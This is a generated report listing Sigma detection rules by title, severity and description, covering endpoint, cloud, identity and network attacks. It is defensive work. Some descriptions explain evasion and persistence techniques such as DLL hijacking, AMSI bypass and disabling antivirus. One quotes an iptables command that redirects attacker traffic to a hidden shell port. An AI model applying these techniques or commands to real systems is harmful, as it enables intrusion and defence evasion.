SigmaTACT - MITRE Tactics and Techniques Report

Summary

This report contains statistical analysis of MITRE Tactics, Techniques, Sub-techniques, Log Sources, and Levels extracted from Sigma rules. Each section provides detailed counts and visualizations to help understand the distribution and frequency of security techniques.

Total Rules Processed: 3721

Total Mitre Tactics Processed: 14

Total Mitre Techniques Processed: 215

Total Mitre Sub Techniques Processed: 232

Total Mitre Other Techniques Processed: 137

Total Log Sources Processed: 47

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Title	Level	Description
CobaltStrike Malleable Amazon Browsing Traffic Profile	high	Detects Malleable Amazon Profile
CobaltStrike Malformed UAs in Malleable Profiles	critical	Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike
CobaltStrike Malleable (OCSP) Profile	high	Detects Malleable (OCSP) Profile with Typo (OSCP) in URL
CobaltStrike Malleable OneDrive Browsing Traffic Profile	high	Detects Malleable OneDrive Profile
Suspicious CLR Logs Creation	high	Detects suspicious .NET assembly executions. Could detect using Cobalt Strike's command execute-assembly.
Suspicious Load of Advapi31.dll	informational	Detects the load of advapi31.dll by a process running in an uncommon folder
SCM DLL Sideload	medium	Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system
Svchost DLL Search Order Hijack	high	Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\Windows\System32\ by default. An attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services "svchost.exe -k netsvcs" to gain code execution on a remote machine.
Possible Process Hollowing Image Loading	high	Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz
Execution via CL_Invocation.ps1 - Powershell	high	Detects Execution via SyncInvoke in CL_Invocation.ps1 module
Execution via CL_Mutexverifiers.ps1	high	Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module
SyncAppvPublishingServer Execution to Bypass Powershell Restriction	medium	Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.
SyncAppvPublishingServer Execution to Bypass Powershell Restriction	medium	Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.
Suspicious In-Memory Module Execution	low	Detects the access to processes by other suspicious processes which have reflectively loaded libraries in their memory space. An example is SilentTrinity C2 behaviour. Generally speaking, when Sysmon EventID 10 cannot reference a stack call to a dll loaded from disk (the standard way), it will display "UNKNOWN" as the module name. Usually this means the stack call points to a module that was reflectively loaded in memory. Adding to this, it is not common to see such few calls in the stack (ntdll.dll --> kernelbase.dll --> unknown) which essentially means that most of the functions required by the process to execute certain routines are already present in memory, not requiring any calls to external libraries. The latter should also be considered suspicious.
Potential NT API Stub Patching	medium	Detects potential NT API stub patching as seen used by the project PatchingAPI
Suspicious Certutil Command Usage	high	Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code
Cmd Stream Redirection	medium	Detects the redirection of an alternate data stream (ADS) of / within a Windows command line session
Indirect Command Exectuion via Forfiles	medium	Detects execition of commands and binaries from the context of "forfiles.exe". This can be used as a LOLBIN in order to bypass application whitelisting.
Indirect Command Execution	low	Detect indirect command execution via Program Compatibility Assistant (pcalua.exe or forfiles.exe).
Invoke-Obfuscation RUNDLL LAUNCHER	medium	Detects Obfuscated Powershell via RUNDLL LAUNCHER
Invoke-Obfuscation Via Use Rundll32	high	Detects Obfuscated Powershell via use Rundll32 in Scripts
New Lolbin Process by Office Applications	high	This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated.
Monitoring Wuauclt.exe For Lolbas Execution Of DLL	medium	Adversaries can abuse wuauclt.exe (Windows Update client) to run code execution by specifying an arbitrary DLL.
Abusing Findstr for Defense Evasion	medium	Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism
Execute MSDT.EXE Using Diagcab File	high	Detects diagcab leveraging the "ms-msdt" handler or the "msdt.exe" binary to execute arbitrary commands as seen in CVE-2022-30190
Process Memory Dumped Via RdrLeakDiag.EXE	high	Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory
Application Whitelisting Bypass via DLL Loaded by odbcconf.exe	medium	Detects defence evasion attempt via odbcconf.exe execution to load DLL
Excel Proxy Executing Regsvr32 With Payload	high	Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin). But we have command-line in the event which allow us to "restore" this suspicious parent-child chain and detect it. Monitor process creation with "wmic process call create" and LOLBins in command-line with parent Office application processes.
Excel Proxy Executing Regsvr32 With Payload Alternate	high	Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin). But we have command-line in the event which allow us to "restore" this suspicious parent-child chain and detect it. Monitor process creation with "wmic process call create" and LOLBins in command-line with parent Office application processes.
Office Applications Spawning Wmi Cli Alternate	high	Initial execution of malicious document calls wmic to execute the file with regsvr32
Possible Applocker Bypass	low	Detects execution of executables that can be used to bypass Applocker whitelisting
PowerShell AMSI Bypass Pattern	high	Detects attempts to disable AMSI in the command line. It is possible to bypass AMSI by disabling it before loading the main payload.
Base64 Encoded Listing of Shadowcopy	high	Detects base64 encoded listing Win32_Shadowcopy
Malicious Base64 Encoded Powershell Invoke Cmdlets	high	Detects base64 encoded powershell cmdlet invocation of known suspicious cmdlets
Potential PowerShell Base64 Encoded Shellcode	medium	Detects potential powershell Base64 encoded Shellcode
Suspicious Bitsadmin Job via PowerShell	high	Detect download by BITS jobs via PowerShell
Stop Or Remove Antivirus Service	high	Detects usage of 'Stop-Service' or 'Remove-Service' powershell cmdlet to disable AV services. Adversaries may disable security tools to avoid possible detection of their tools and activities by stopping antivirus service
Potential Xor Encoded PowerShell Command	medium	Detects usage of "xor" or "bxor" in combination of a "foreach" loop. This pattern is often found in encoded powershell code and commands as a way to avoid detection
Regsvr32 Anomaly	high	Detects various anomalies in relation to regsvr32.exe
Renamed PaExec Execution	medium	Detects execution of renamed paexec via imphash and executable product string
Renamed PsExec	high	Detects the execution of a renamed PsExec often used by attackers or malware
Renamed PowerShell	high	Detects the execution of a renamed PowerShell often used by attackers or malware
Root Certificate Installed	medium	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.
Rundll32 JS RunHTMLApplication Pattern	high	Detects suspicious command line patterns used when rundll32 is used to run JavaScript code
Suspicious Rundll32 Script in CommandLine	medium	Detects suspicious process related to rundll32 based on arguments
Suspicious Execution of Sc to Delete AV Services	high	Detects when attackers use "sc.exe" to delete AV services from the system in order to avoid detection
Suspicious Characters in CommandLine	high	Detects suspicious Unicode characters in the command line, which could be a sign of obfuscation or defense evasion
Squirrel Lolbin	medium	Detects Possible Squirrel Packages Manager as Lolbin
Winword.exe Loads Suspicious DLL	medium	Detects Winword.exe loading a custom DLL using the /l flag
WMI Execution Via Office Process	medium	Initial execution of malicious document calls wmic to execute the file with regsvr32
Windows Update Client LOLBIN	high	Detects code execution via the Windows Update client (wuauclt)
Sysinternals SDelete Registry Keys	medium	A General detection to trigger for the creation or modification of .*\Software\Sysinternals\SDelete registry keys. Indicators of the use of Sysinternals SDelete tool.
Abusing Windows Telemetry For Persistence - Registry	high	Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.
User Account Hidden By Registry	high	Detect modification for a specific user to prevent that user from being listed on the logon screen
Service Binary in Uncommon Folder	medium	Detect the creation of a service with a service binary located in a uncommon directory
Disable Microsoft Office Security Features	high	Disable Microsoft Office Security Features by registry
Office Security Settings Changed	high	Detects registry changes to Office macro settings. The TrustRecords contain information on executed macro-enabled documents. (see references)
Windows Defender Threat Detection Disabled	high	Detects disabling Windows Defender threat protection
Suspicious Esentutl Use	high	Detects flags often used with the LOLBAS Esentutl for malicious activity. It could be used in rare cases by administrators to access locked files or during maintenance.
New Service Uses Double Ampersand in Path	high	Detects a service installation that uses a suspicious double ampersand used in the image path value
OpenCanary - HTTPPROXY Login Attempt	high	Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.
AWS CloudTrail Important Change	medium	Detects disabling, deleting and updating of a Trail
Malicious Usage Of IMDS Credentials Outside Of AWS Infrastructure	high	Detects when an instance identity has taken an action that isn't inside SSM. This can indicate that a compromised EC2 instance is being used as a pivot point.
AWS Config Disabling Channel/Recorder	high	Detects AWS Config Service disabling
SES Identity Has Been Deleted	medium	Detects an instance of an SES identity being deleted via the "DeleteIdentity" event. This may be an indicator of an adversary removing the account that carried out suspicious or malicious activities
AWS GuardDuty Important Change	high	Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.
AWS SecurityHub Findings Evasion	high	Detects the modification of the findings on SecurityHub.
Azure Active Directory Hybrid Health AD FS New Server	medium	This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service. A threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server. This can be done programmatically via HTTP requests to Azure.
Azure Active Directory Hybrid Health AD FS Service Delete	medium	This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant. A threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs. The health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.
Azure Application Deleted	medium	Identifies when a application is deleted in Azure.
Azure Firewall Modified or Deleted	medium	Identifies when a firewall is created, modified, or deleted.
Azure Firewall Rule Collection Modified or Deleted	medium	Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.
Azure Kubernetes Events Deleted	medium	Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.
Azure Network Firewall Policy Modified or Deleted	medium	Identifies when a Firewall Policy is Modified or Deleted.
Azure Owner Removed From Application or Service Principal	medium	Identifies when a owner is was removed from a application or service principal in Azure.
Azure Service Principal Created	medium	Identifies when a service principal is created in Azure.
Azure Service Principal Removed	medium	Identifies when a service principal was removed in Azure.
CA Policy Removed by Non Approved Actor	medium	Monitor and alert on conditional access changes where non approved actor removed CA Policy.
CA Policy Updated by Non Approved Actor	medium	Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare "old" vs "new" value.
New CA Policy by Non-approved Actor	medium	Monitor and alert on conditional access changes.
Bitlocker Key Retrieval	medium	Monitor and alert for Bitlocker key retrieval.
Account Created And Deleted Within A Close Time Frame	high	Detects when an account was created and deleted in a short period of time.
Changes to Device Registration Policy	high	Monitor and alert for changes to the device registration policy.
Users Added to Global or Device Admin Roles	high	Monitor and alert for users added to device admin roles.
Change to Authentication Method	medium	Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access.
User Added To Group With CA Policy Modification Access	medium	Monitor and alert on group membership additions of groups that have CA policy modification access
User Removed From Group With CA Policy Modification Access	medium	Monitor and alert on group membership removal of groups that have CA policy modification access
Guest User Invited By Non Approved Inviters	medium	Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.
User Added To Privilege Role	high	Detects when a user is added to a privileged role.
Activity From Anonymous IP Address	high	Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.
Atypical Travel	high	Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior.
Impossible Travel	high	Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.
Suspicious Inbox Forwarding Identity Protection	high	Indicates suspicious rules such as an inbox rule that forwards a copy of all emails to an external address
Suspicious Inbox Manipulation Rules	high	Detects suspicious rules that delete or move messages or folders are set on a user's inbox.
Suspicious Browser Activity	high	Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser
Azure AD Threat Intelligence	high	Indicates user activity that is unusual for the user or consistent with known attack patterns.
New Country	high	Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.
Unfamiliar Sign-In Properties	high	Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins.
Increased Failed Authentications Of Any Type	medium	Detects when sign-ins increased by 10% or greater.
Measurable Increase Of Successful Authentications	low	Detects when successful sign-ins increased by 10% or greater.
Device Registration or Join Without MFA	medium	Monitor and alert for device registration or join events where MFA was not performed.
Suspicious SignIns From A Non Registered Device	high	Detects risky authentication from a non AD registered device without MFA being required.
Sign-ins from Non-Compliant Devices	high	Monitor and alert for sign-ins where the device was non-compliant.
Sign-ins by Unknown Devices	low	Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.
Application Using Device Code Authentication Flow	medium	Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments. If this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted. This can be a misconfigured application or potentially something malicious.
Applications That Are Using ROPC Authentication Flow	medium	Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly. The application then uses those credentials to authenticate the user against the identity provider.
Bitbucket Global Secret Scanning Rule Deleted	medium	Detects Bitbucket global secret scanning rule deletion activity.
Bitbucket Global SSH Settings Changed	medium	Detects Bitbucket global SSH access configuration changes.
Bitbucket Audit Log Configuration Updated	medium	Detects changes to the bitbucket audit log configuration.
Bitbucket Project Secret Scanning Allowlist Added	low	Detects when a secret scanning allowlist rule is added for projects.
Bitbucket Secret Scanning Exempt Repository Added	high	Detects when a repository is exempted from secret scanning feature.
Bitbucket Secret Scanning Rule Deleted	low	Detects when secret scanning rule is deleted for the project or repository.
Bitbucket User Login Failure	medium	Detects user authentication failure events. Please note that this rule can be noisy and it is recommended to use with correlation based on "author.name" field.
Cisco Duo Successful MFA Authentication Via Bypass Code	medium	Detects when a successful MFA authentication occurs due to the use of a bypass code. A bypass code is a temporary passcode created by an administrator for a specific user to access a Duo-protected application. These are generally used as "backup codes," so that enrolled users who are having problems with their mobile devices (e.g., mobile service is disrupted, the device is lost or stolen, etc.) or who temporarily can't use their enrolled devices (on a plane without mobile data services) can still access their Duo-protected systems.
GCP Break-glass Container Workload Deployed	medium	Detects the deployment of workloads that are deployed by using the break-glass flag to override Binary Authorization controls.
Google Cloud Firewall Modified or Deleted	medium	Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).
Github High Risk Configuration Disabled	high	Detects when a user disables a critical security feature for an organization.
Github New Secret Created	low	Detects when a user creates action secret for the organization, environment, codespaces or repository.
Github Push Protection Bypass Detected	low	Detects when a user bypasses the push protection on a secret detected by secret scanning.
Github Push Protection Disabled	high	Detects if the push protection feature is disabled for an organization, enterprise, repositories or custom pattern rules.
Github Secret Scanning Feature Disabled	high	Detects if the secret scanning feature is disabled for an enterprise or repository.
Github Self Hosted Runner Changes Detected	low	A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context.
Azure Login Bypassing Conditional Access Policies	high	Detects a successful login to the Microsoft Intune Company Portal which could allow bypassing Conditional Access Policies and InTune device trust using a tool like TokenSmith.
Okta MFA Reset or Deactivated	medium	Detects when an attempt at deactivating or resetting MFA.
Okta User Session Start Via An Anonymising Proxy Service	high	Detects when an Okta user session starts where the user is behind an anonymising proxy service.
Auditing Configuration Changes on Linux Host	high	Detect changes in auditd configuration files
Binary Padding - Linux	high	Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.
Bpfdoor TCP Ports Redirect	medium	All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392' The traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.
File Time Attribute Change - Linux	medium	Detect file time attribute change to hide new or changes to existing files.
Remove Immutable File Attribute - Auditd	medium	Detects removing immutable file attribute.
Disable System Firewall	high	Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.
File or Folder Permissions Change	low	Detects file and folder permission changes.
Use Of Hidden Paths Or Files	low	Detects calls to hidden files or files located in hidden directories in NIX systems.
Hidden Files and Directories	low	Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character
Steganography Hide Zip Information in Picture File	low	Detects appending of zip file to image
Modification of ld.so.preload	high	Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.
Logging Configuration Changes on Linux Host	high	Detect changes of syslog daemons configuration files
Masquerading as Linux Crond Process	medium	Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.
Modify System Firewall	medium	Detects the removal of system firewall rules. Adversaries may only delete or modify a specific system firewall rule to bypass controls limiting network usage or access. Detection rules that match only on the disabling of firewalls will miss this.
Steganography Hide Files with Steghide	low	Detects embedding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.
Steganography Extract Files with Steghide	low	Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.
Steganography Unzip Hidden Information From Picture File	low	Detects extracting of zip file from image file
Potential Suspicious BPF Activity - Linux	high	Detects the presence of "bpf_probe_write_user" BPF helper-generated warning messages. Which could be a sign of suspicious eBPF activity on the system.
Linux Command History Tampering	high	Detects commands that try to clear or tamper with the Linux command history. This technique is used by threat actors in order to evade defenses and execute commands without them being recorded in files such as "bash_history" or "zsh_history".
Disabling Security Tools - Builtin	medium	Detects disabling security tools
Triple Cross eBPF Rootkit Default LockFile	high	Detects the creation of the file "rootlog" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.
Triple Cross eBPF Rootkit Default Persistence	high	Detects the creation of "ebpfbackdoor" files in both "cron.d" and "sudoers.d" directories. Which both are related to the TripleCross persistence method
Decode Base64 Encoded Text	low	Detects usage of base64 utility to decode arbitrary base64-encoded text
Linux Base64 Encoded Pipe to Shell	medium	Detects suspicious process command line that uses base64 encoded input for execution with a shell
Enable BPF Kprobes Tracing	medium	Detects common command used to enable bpf kprobes tracing
Remove Immutable File Attribute	medium	Detects usage of the 'chattr' utility to remove immutable file attribute.
Linux Base64 Encoded Shebang In CLI	medium	Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded
Clear Linux Logs	medium	Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion
Commands to Clear or Remove the Syslog	high	Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks
Remove Scheduled Cron Task/Job	medium	Detects usage of the 'crontab' utility to remove the current crontab. This is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible
Potential Linux Process Code Injection Via DD Utility	medium	Detects the injection of code by overwriting the memory map of a Linux process using the "dd" Linux command.
Ufw Force Stop Using Ufw-Init	medium	Detects attempts to force stop the ufw using ufw-init
ESXi Syslog Configuration Change Via ESXCLI	medium	Detects changes to the ESXi syslog configuration via "esxcli"
File Deletion	informational	Detects file deletion using "rm", "shred" or "unlink" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity
Install Root Certificate	low	Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s
Suspicious Package Installed - Linux	medium	Detects installation of suspicious packages using system installation utilities
Flush Iptables Ufw Chain	medium	Detect use of iptables to flush all firewall rules, tables and chains and allow all network traffic
Connection Proxy	low	Detects setting proxy configuration
Linux Package Uninstall	low	Detects linux package removal using builtin tools such as "yum", "apt", "apt-get" or "dpkg".
Disabling Security Tools	medium	Detects disabling security tools
Disable Or Stop Services	medium	Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services
Chmod Suspicious Directory	medium	Detects chmod targeting files in abnormal directory paths.
Potentially Suspicious Execution From Tmp Folder	high	Detects a potentially suspicious execution of a process located in the '/tmp/' folder
Interactive Bash Suspicious Children	medium	Detects suspicious interactive bash as a parent to rather uncommon child processes
Linux Shell Pipe to Shell	medium	Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell
Touch Suspicious Service File	medium	Detects usage of the "touch" process in service file.
Triple Cross eBPF Rootkit Execve Hijack	high	Detects execution of a the file "execve_hijack" which is used by the Triple Cross rootkit as a way to elevate privileges
Triple Cross eBPF Rootkit Install Commands	high	Detects default install commands of the Triple Cross eBPF rootkit based on the "deployer.sh" script
Decode Base64 Encoded Text -MacOs	low	Detects usage of base64 utility to decode arbitrary base64-encoded text
Binary Padding - MacOS	high	Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.
File Time Attribute Change	medium	Detect file time attribute change to hide new or changes to existing files
Hidden Flag Set On File/Directory Via Chflags - MacOS	medium	Detects the execution of the "chflags" utility with the "hidden" flag, in order to hide files on MacOS. When a file or directory has this hidden flag set, it becomes invisible to the default file listing commands and in graphical file browsers.
Indicator Removal on Host - Clear Mac System Logs	medium	Detects deletion of local audit logs
Hidden User Creation	medium	Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option
Disable Security Tools	medium	Detects disabling security tools
File Download Via Nscurl - MacOS	medium	Detects the execution of the nscurl utility in order to download files.
Payload Decoded and Decrypted via Built-in Utilities	medium	Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.
Space After Filename - macOS	low	Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.
Suspicious Execution via macOS Script Editor	medium	Detects when the macOS Script Editor utility spawns an unusual child process.
System Information Discovery Via Sysctl - MacOS	medium	Detects the execution of "sysctl" with specific arguments that have been used by threat actors and malware. It provides system hardware information. This process is primarily used to detect and avoid virtualization and analysis environments.
System Information Discovery Using System_Profiler	medium	Detects the execution of "system_profiler" with specific "Data Types" that have been seen being used by threat actors and malware. It provides system hardware and software configuration information. This process is primarily used for system information discovery. However, "system_profiler" can also be used to determine if virtualization software is being run for defense evasion purposes.
Potential Base64 Decoded From Images	high	Detects the use of tail to extract bytes at an offset from an image and then decode the base64 value to create a new file with the decoded content. The detected execution is a bash one-liner.
Gatekeeper Bypass via Xattr	low	Detects macOS Gatekeeper bypass via xattr utility
Cisco Clear Logs	high	Clear command history in network OS which is used for defense evasion
Cisco Crypto Commands	high	Show when private keys are being exported from the device, or when new certificates are installed
Cisco Disabling Logging	high	Turn off logging locally or remote
Cisco File Deletion	medium	See what files are being deleted from flash file systems
Cisco BGP Authentication Failures	low	Detects BGP failures which may be indicative of brute force attacks to manipulate routing
Cisco LDP Authentication Failures	low	Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels
Huawei BGP Authentication Failures	low	Detects BGP failures which may be indicative of brute force attacks to manipulate routing.
Juniper BGP Missing MD5	low	Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.
Download from Suspicious Dyndns Hosts	medium	Detects download of certain file types from hosts with dynamic DNS names (selected list)
HackTool - CobaltStrike Malleable Profile Patterns - Proxy	high	Detects cobalt strike malleable profiles patterns (URI, User-Agents, Methods).
HackTool - Empire UserAgent URI Combo	high	Detects user agent and URI paths used by empire agents
Raw Paste Service Access	high	Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form
Flash Player Update from Suspicious Location	high	Detects a flashplayer update from an unofficial location
Telegram API Access	medium	Detects suspicious requests to Telegram API without the usual Telegram User-Agent
Bitsadmin to Uncommon IP Server Address	high	Detects Bitsadmin connections to IP addresses instead of FQDN names
Bitsadmin to Uncommon TLD	high	Detects Bitsadmin connections to domains with uncommon TLDs
HTTP Request With Empty User Agent	medium	Detects a potentially suspicious empty user agent strings in proxy log. Could potentially indicate an uncommon request method.
Windows PowerShell User Agent	medium	Detects Windows PowerShell Web Access
Server Side Template Injection Strings	high	Detects SSTI attempts sent via GET requests in access logs
Microsoft Malware Protection Engine Crash	high	This rule detects a suspicious crash of the Microsoft Malware Protection Engine
Audit CVE Event	critical	Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.
Backup Catalog Deleted	medium	Detects backup catalog deletions
Restricted Software Access By SRP	high	Detects restricted access to applications by the Software Restriction Policies (SRP) policy
MSI Installation From Web	medium	Detects installation of a remote msi file from web.
MSSQL Disable Audit Settings	high	Detects when an attacker calls the "ALTER SERVER AUDIT" or "DROP SERVER AUDIT" transaction in order to delete or disable audit logs on the server
Microsoft Malware Protection Engine Crash - WER	high	This rule detects a suspicious crash of the Microsoft Malware Protection Engine
Sysinternals Tools AppX Versions Execution	low	Detects execution of Sysinternals tools via an AppX package. Attackers could install the Sysinternals Suite to get access to tools such as psexec and procdump to avoid detection based on System paths
Deployment AppX Package Was Blocked By AppLocker	medium	Detects an appx package deployment that was blocked by AppLocker policy
Potential Malicious AppX Package Installation Attempts	medium	Detects potential installation or installation attempts of known malicious appx packages
Deployment Of The AppX Package Was Blocked By The Policy	medium	Detects an appx package deployment that was blocked by the local computer policy
Suspicious AppX Package Installation Attempt	medium	Detects an appx package installation with the error code "0x80073cff" which indicates that the package didn't meet the signing requirements and could be suspicious
Suspicious Remote AppX Package Locations	high	Detects an appx package added to the pipeline of the "to be processed" packages which was downloaded from a suspicious domain.
Suspicious AppX Package Locations	high	Detects an appx package added the pipeline of the "to be processed" packages which is located in suspicious locations
Uncommon AppX Package Locations	medium	Detects an appx package added the pipeline of the "to be processed" packages which is located in uncommon locations
Suspicious Digital Signature Of AppX Package	medium	Detects execution of AppX packages with known suspicious or malicious signature
New BITS Job Created Via Bitsadmin	low	Detects the creation of a new bits job by Bitsadmin
New BITS Job Created Via PowerShell	low	Detects the creation of a new bits job by PowerShell
BITS Transfer Job Downloading File Potential Suspicious Extension	medium	Detects new BITS transfer job saving local files with potential suspicious extensions
BITS Transfer Job Download From File Sharing Domains	high	Detects BITS transfer job downloading files from a file sharing domain.
BITS Transfer Job Download From Direct IP	high	Detects a BITS transfer job downloading file(s) from a direct IP address.
BITS Transfer Job With Uncommon Or Suspicious Remote TLD	medium	Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.
BITS Transfer Job Download To Potential Suspicious Folder	high	Detects new BITS transfer job where the LocalName/Saved file is stored in a potentially suspicious location
DNS Server Error Failed Loading the ServerLevelPluginDLL	high	Detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded
Uncommon New Firewall Rule Added In Windows Firewall Exception List	medium	Detects when a rule has been added to the Windows Firewall exception list
New Firewall Rule Added In Windows Firewall Exception List For Potential Suspicious Application	high	Detects the addition of a new rule to the Windows Firewall exception list for an application located in a potentially suspicious location.
New Firewall Rule Added In Windows Firewall Exception List Via WmiPrvSE.EXE	medium	Detects the addition of a new "Allow" firewall rule by the WMI process (WmiPrvSE.EXE). This can occur if an attacker leverages PowerShell cmdlets such as "New-NetFirewallRule", or directly uses WMI CIM classes such as "MSFT_NetFirewallRule".
All Rules Have Been Deleted From The Windows Firewall Configuration	high	Detects when a all the rules have been deleted from the Windows Defender Firewall configuration
A Rule Has Been Deleted From The Windows Firewall Exception List	medium	Detects when a single rules or all of the rules have been deleted from the Windows Defender Firewall
The Windows Defender Firewall Service Failed To Load Group Policy	low	Detects activity when The Windows Defender Firewall service failed to load Group Policy
Windows Defender Firewall Has Been Reset To Its Default Configuration	low	Detects activity when Windows Defender Firewall has been reset to its default configuration
Windows Firewall Settings Have Been Changed	low	Detects activity when the settings of the Windows firewall have been changed
ETW Logging/Processing Option Disabled On IIS Server	medium	Detects changes to of the IIS server configuration in order to disable/remove the ETW logging/processing option.
HTTP Logging Disabled On IIS Server	high	Detects changes to of the IIS server configuration in order to disable HTTP logging for successful requests.
New Module Module Added To IIS Server	medium	Detects the addition of a new module to an IIS server.
Previously Installed IIS Module Was Removed	low	Detects the removal of a previously installed IIS module.
Remove Exported Mailbox from Exchange Webserver	high	Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit
Add or Remove Computer from DC	low	Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.
AD Object WriteDAC Access	critical	Detects WRITE_DAC access to a domain object
Weak Encryption Enabled and Kerberoast	high	Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.
Security Eventlog Cleared	high	One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution
Failed Code Integrity Checks	informational	Detects code integrity failures such as missing page hashes or corrupted drivers due unauthorized modification. This could be a sign of tampered binaries.
Windows Event Auditing Disabled	low	Detects scenarios where system auditing (i.e.: Windows event log auditing) is disabled. This may be used in a scenario where an entity would want to bypass local logging to evade detection when Windows event logging is enabled and reviewed. Also, it is recommended to turn off "Local Group Policy Object Processing" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as "gpedit.msc". Please note, that disabling "Local Group Policy Object Processing" may cause an issue in scenarios of one off specific GPO modifications - however, it is recommended to perform these modifications in Active Directory anyways.
Important Windows Event Auditing Disabled	high	Detects scenarios where system auditing for important events such as "Process Creation" or "Logon" events is disabled.
ETW Logging Disabled In .NET Processes - Registry	high	Potential adversaries stopping ETW providers recording loaded .NET assemblies.
HackTool - EDRSilencer Execution - Filter Added	high	Detects execution of EDRSilencer, a tool that abuses the Windows Filtering Platform (WFP) to block the outbound traffic of running EDR agents based on specific hardcoded filter names.
